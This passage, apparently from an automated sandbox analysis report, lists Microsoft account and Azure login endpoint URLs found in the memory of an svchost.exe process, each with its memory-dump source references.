Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502acco
Source: svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600er
Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601g:Ma
Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf5
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000015.00000002.2538667859.00000235C346E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2359777098.00000235C24B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538772972.00000235C3492000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2537055218.00000235C24B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000015.00000003.2359777098.00000235C24B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2537055218.00000235C24B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf$
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srfChec
Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsec
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srff
Source: svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfr:CXHT
Source: svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrfve.com
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000015.00000003.2292045276.00000235C2D0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2359777098.00000235C24D7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2292336960.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-DuPc5CtqXvt5
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srfg:GetAp
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2537440927.00000235C2502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600Data.srf
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601uthUp
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603d=80600
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538415204.00000235C343B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfXHTransien
Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000015.00000002.2537440927.00000235C2502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLo
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502nkId=253457
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600psecure/Inl
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601eLogin.srf?
Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806031
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603:OOBESignUp
Source: svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000015.00000003.2119207317.00000235C2D57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118821764.00000235C2D5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cpU
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000015.00000002.2539083556.00000235C34E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf3
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srfE
Source: svchost.exe, 00000015.00000002.2539083556.00000235C34E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srfI
Source: svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf:Inl
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf//account
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf80601
Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000015.00000002.2538022918.00000235C2D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 00000015.00000002.2538667859.00000235C346E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2292336960.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 00000015.00000002.2538667859.00000235C346E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf/
Source: svchost.exe, 00000015.00000002.2537440927.00000235C2502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.liveH
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceA
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srft
Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srflive.com/
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srfr=4&
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf=806
Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srfve.com/si
Source: svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
